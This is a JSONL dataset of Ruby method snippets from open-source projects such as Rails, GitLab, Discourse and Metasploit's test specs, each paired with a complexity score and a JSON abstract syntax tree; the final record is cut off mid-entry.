{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/accept_invite_service.rb","start_line":29,"raw_source":"def user_matches_invite?\n      user.verified_email?(member.invite_email)\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"user_matches_invite?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"verified_email?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"member\"]},\"invite_email\"]}]}]}","id":"5ed91acd-f23e-4bd3-a12f-0b36d31aed6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/projects/unlink_fork_service.rb","start_line":64,"raw_source":"def refresh_forks_count(project)\n      Projects::ForksCountService.new(project).refresh_cache\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_forks_count\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Projects\"]},\"ForksCountService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]}]},\"refresh_cache\"]}]}","id":"cc30183e-0710-4e27-810e-04697b3d571e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/spec/models/pxe_server_spec.rb","start_line":36,"raw_source":"def test_mount_point\n          @test_mount_point ||= File.join(File.dirname(__FILE__), \"pxe_data\")\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_mount_point\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@test_mount_point\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"dirname\",{\"type\":\"str\",\"children\":[\"(method)\"]}]},{\"type\":\"str\",\"children\":[\"pxe_data\"]}]}]}]}","id":"929b616f-031e-4a9f-a97e-e807d3f4bf78"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/twitter_api.rb","start_line":120,"raw_source":"def authorization\n      request = Net::HTTP::Post.new(auth_uri)\n\n      request.add_field \"Authorization\", \"Basic #{bearer_token_credentials}\"\n      request.add_field \"Content-Type\", \"application/x-www-form-urlencoded;charset=UTF-8\"\n\n      request.set_form_data \"grant_type\" => \"client_credentials\"\n\n      http(auth_uri).request(request).body\n    end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"authorization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Net\"]},\"HTTP\"]},\"Post\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"auth_uri\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_field\",{\"type\":\"str\",\"children\":[\"Authorization\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Basic \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bearer_token_credentials\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_field\",{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/x-www-form-urlencoded;charset=UTF-8\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"set_form_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"grant_type\"]},{\"type\":\"str\",\"children\":[\"client_credentials\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"http\",{\"type\":\"send\",\"children\":[null,\"auth_uri\"]}]},\"request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},\"body\"]}]}]}","id":"48e5f5a7-9e02-4a88-863f-53134b7406f8"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/cluster.rb","start_line":142,"raw_source":"def cull_start_index(diff)\n      case @options[:worker_culling_strategy]\n      when :oldest\n        0\n      else # :youngest\n        -diff\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cull_start_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"worker_culling_strategy\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"oldest\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"-@\"]}]}]}","id":"452a6298-0b2d-499f-a5e8-2ee0ef7058d3"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb","start_line":137,"raw_source":"def disable_index(index_name)\n          @base.disable_index(name, index_name)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"disable_index\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"index_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@base\"]},\"disable_index\",{\"type\":\"send\",\"children\":[null,\"name\"]},{\"type\":\"lvar\",\"children\":[\"index_name\"]}]}]}","id":"172454c0-567d-4e42-9f2a-ec2de7794107"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/type/decimal_test.rb","start_line":28,"raw_source":"def test_type_cast_from_float_with_unspecified_precision\n        type = Decimal.new\n        assert_equal 22.68.to_d, type.cast(22.68)\n      end","complexity_score":6.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_type_cast_from_float_with_unspecified_precision\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Decimal\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"float\",\"children\":[22.68]},\"to_d\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"cast\",{\"type\":\"float\",\"children\":[22.68]}]}]}]}]}","id":"73ab0d90-93f7-4dc8-ae84-dbbc83e5bd12"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/concerns/request_exception_handler.rb","start_line":54,"raw_source":"def render_error_response(exception)\n    log_handled_error(exception)\n    render json: exception.to_hash, status: exception.http_status\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"render_error_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exception\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_handled_error\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"to_hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exception\"]},\"http_status\"]}]}]}]}]}]}","id":"c9679782-d1f0-4751-84d8-d3b7190520eb"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/controller/integration_test.rb","start_line":578,"raw_source":"def test_respect_removal_of_default_headers_by_a_controller_action\n    with_test_route_set do\n      with_default_headers \"a\" => \"1\", \"b\" => \"2\" do\n        get \"/remove_header\", params: { header: \"a\" }\n      end\n    end\n\n    assert_not_includes @response.headers, \"a\", \"Response should not include default header removed by the controller action\"\n    assert_includes @response.headers, \"b\"\n    assert_includes @response.headers, \"c\"\n  end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_respect_removal_of_default_headers_by_a_controller_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_route_set\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_default_headers\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"b\"]},{\"type\":\"str\",\"children\":[\"2\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"str\",\"children\":[\"/remove_header\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"header\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},{\"type\":\"str\",\"children\":[\"a\"]},{\"type\":\"str\",\"children\":[\"Response should not include default header removed by the controller action\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},{\"type\":\"str\",\"children\":[\"b\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@response\"]},\"headers\"]},{\"type\":\"str\",\"children\":[\"c\"]}]}]}]}","id":"89987c21-04e5-4374-b8ad-c02fa8c6f50e"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/session_controller.rb","start_line":727,"raw_source":"def normalized_login_param\n    login = params[:login].to_s\n    if login.present?\n      login = login[1..-1] if login[0] == \"@\"\n      User.normalize_username(login.strip)[0..100]\n    else\n      nil\n    end\n  end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"normalized_login_param\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"login\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"login\"]}]},\"to_s\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"@\"]}]},{\"type\":\"lvasgn\",\"children\":[\"login\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"normalize_username\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"strip\"]}]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[100]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"8e9a136f-9917-49e2-ad1a-6d872f944ea5"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/chat/chat_thread.rb","start_line":91,"raw_source":"def fill_composer(input)\n        find(\".chat-thread .chat-composer__input\").click # makes helper more reliable by ensuring focus is not lost\n        find(\".chat-thread .chat-composer__input\").fill_in(with: input)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_composer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".chat-thread .chat-composer__input\"]}]},\"click\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".chat-thread .chat-composer__input\"]}]},\"fill_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"input\"]}]}]}]}]}]}","id":"293b3454-5ce8-4d6e-a570-f2496c7e58b3"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/setting/virus_scanning.rb","start_line":33,"raw_source":"def self.enabled?\n      Setting.antivirus_scan_available? &&\n        Setting.antivirus_scan_mode != :disabled &&\n        EnterpriseToken.allows_to?(:virus_scanning)\n    end","complexity_score":7.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"antivirus_scan_available?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"antivirus_scan_mode\"]},\"!=\",{\"type\":\"sym\",\"children\":[\"disabled\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EnterpriseToken\"]},\"allows_to?\",{\"type\":\"sym\",\"children\":[\"virus_scanning\"]}]}]}]}","id":"d310b603-4265-4198-9c4b-fecbfd3273e1"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/accounts/captain/copilot_threads_controller.rb","start_line":32,"raw_source":"def build_copilot_response(copilot_message)\n    if Current.account.usage_limits[:captain][:responses][:current_available].positive?\n      copilot_message.enqueue_response_job(copilot_thread_params[:conversation_id], Current.user.id)\n    else\n      copilot_message.copilot_thread.copilot_messages.create!(\n        message_type: :assistant,\n        message: { content: I18n.t('captain.copilot_limit') }\n      )\n    end\n  end","complexity_score":21.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build_copilot_response\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"copilot_message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]},\"usage_limits\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"captain\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"responses\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"current_available\"]}]},\"positive?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copilot_message\"]},\"enqueue_response_job\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"copilot_thread_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"conversation_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"user\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"copilot_message\"]},\"copilot_thread\"]},\"copilot_messages\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message_type\"]},{\"type\":\"sym\",\"children\":[\"assistant\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"captain.copilot_limit\"]}]}]}]}]}]}]}]}]}","id":"eadafe6f-e54a-4a41-82dd-3dca3e7fe45e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/issues_helper.rb","start_line":96,"raw_source":"def can_create_confidential_merge_request?\n    @issue.confidential? && !@project.private? &&\n      can?(current_user, :create_merge_request_in, @project)\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"can_create_confidential_merge_request?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@issue\"]},\"confidential?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@project\"]},\"private?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"can?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"create_merge_request_in\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}]}","id":"5cca619b-6a3d-4680-a75e-dd6deef2d779"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/cache/coder.rb","start_line":8,"raw_source":"def initialize(serializer, compressor, legacy_serializer: false)\n        @serializer = serializer\n        @compressor = compressor\n        @legacy_serializer = legacy_serializer\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"serializer\"]},{\"type\":\"arg\",\"children\":[\"compressor\"]},{\"type\":\"kwoptarg\",\"children\":[\"legacy_serializer\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@serializer\",{\"type\":\"lvar\",\"children\":[\"serializer\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@compressor\",{\"type\":\"lvar\",\"children\":[\"compressor\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@legacy_serializer\",{\"type\":\"lvar\",\"children\":[\"legacy_serializer\"]}]}]}]}","id":"34662b0f-b971-4f54-9ba0-d87fcb0c87f8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/stage_events.rb","start_line":84,"raw_source":"def self.selectable_events\n          (events - internal_events).sort_by(&:name)\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"selectable_events\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"events\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"internal_events\"]}]}]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"259e61bb-f9c9-41e4-bd72-bac667cd6b5e"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/money.rb","start_line":93,"raw_source":"def *(value)\n      result_money = money * value\n      self.class.new(result_money.to_s, options)\n    end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"*\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_money\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"money\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_money\"]},\"to_s\"]},{\"type\":\"send\",\"children\":[null,\"options\"]}]}]}]}","id":"d1b5f2e8-d03f-4e1a-951b-563ccba29425"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20250724170801_re_requeue_backfill_projects_redirect_routes_namespace_id.rb","start_line":13,"raw_source":"def up\n    delete_batched_background_migration(\n      MIGRATION,\n      :redirect_routes,\n      :id,\n      []\n    )\n\n    queue_batched_background_migration(\n      MIGRATION,\n      :redirect_routes,\n      :id,\n      job_interval: DELAY_INTERVAL,\n      batch_size: BATCH_SIZE,\n      max_batch_size: MAX_BATCH_SIZE,\n      sub_batch_size: SUB_BATCH_SIZE\n    )\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"redirect_routes\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"queue_batched_background_migration\",{\"type\":\"const\",\"children\":[null,\"MIGRATION\"]},{\"type\":\"sym\",\"children\":[\"redirect_routes\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_interval\"]},{\"type\":\"const\",\"children\":[null,\"DELAY_INTERVAL\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_batch_size\"]},{\"type\":\"const\",\"children\":[null,\"MAX_BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sub_batch_size\"]},{\"type\":\"const\",\"children\":[null,\"SUB_BATCH_SIZE\"]}]}]}]}]}]}","id":"2bc8e646-a685-4357-9f24-c23103c4df6b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/lib/msf/ui/console/command_dispatcher/auxiliary_spec.rb","start_line":36,"raw_source":"def cleanup\n        print_status(\"Cleanup for target #{datastore['RHOSTS']}:#{datastore['RPORT']}\")\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cleanup for target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOSTS\"]}]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RPORT\"]}]}]}]}]}]}","id":"fc592cb7-0f83-474c-b9bf-4aa04a0fc56e"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report/formats.rb","start_line":14,"raw_source":"def self.available_formats_for(column, suffix, datatype)\n    is_break_sfx = (suffix && MiqReport.is_break_suffix?(suffix))\n    formats.each_with_object({}) do |(format_name, properties), result|\n      # Ignore formats that don't include suffix if the column name has a break suffix\n      next if is_break_sfx && (properties[:suffixes].nil? || !properties[:suffixes].include?(suffix.to_sym))\n      next unless (properties[:columns] && properties[:columns].include?(column)) ||\n                  (properties[:sub_types] && properties[:sub_types].include?(sub_type(column))) ||\n                  (properties[:data_types] && properties[:data_types].include?(datatype)) ||\n                  (properties[:suffixes] && properties[:suffixes].include?(suffix.to_sym)) ||\n                  format_name == sub_type(column) ||\n                  format_name == defaults_and_overrides[:formats_by_sub_type][sub_type(column)]\n\n      result[format_name] = properties[:description]\n    end\n  end","complexity_score":76.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_formats_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column\"]},{\"type\":\"arg\",\"children\":[\"suffix\"]},{\"type\":\"arg\",\"children\":[\"datatype\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"is_break_sfx\",{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqReport\"]},\"is_break_suffix?\",{\"type\":\"lvar\",\"children\":[\"suffix\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"formats\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"format_name\"]},{\"type\":\"arg\",\"children\":[\"properties\"]}]},{\"type\":\"arg\",\"children\":[\"result\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_break_sfx\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"suffixes\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"suffixes\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]},\"to_sym\"]}]},\"!\"]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"columns\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"columns\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sub_types\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sub_types\"]}]},\"include?\",{\"type\":\"send\",\"children\":[null,\"sub_type\",{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data_types\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"data_types\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"datatype\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"suffixes\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"properties\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"suffixes\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]},\"to_sym\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format_name\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"sub_type\",{\"type\":\"lvar\",\"children\":[\"column\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format_name\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"defaults_and_overrides\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"formats_by_sub_type\"]}]},\"[]\",{\"type\":\"send\",\"children\":[null,\"sub_type\",{\"type\":\"lvar\",\"children\":[\"column\"]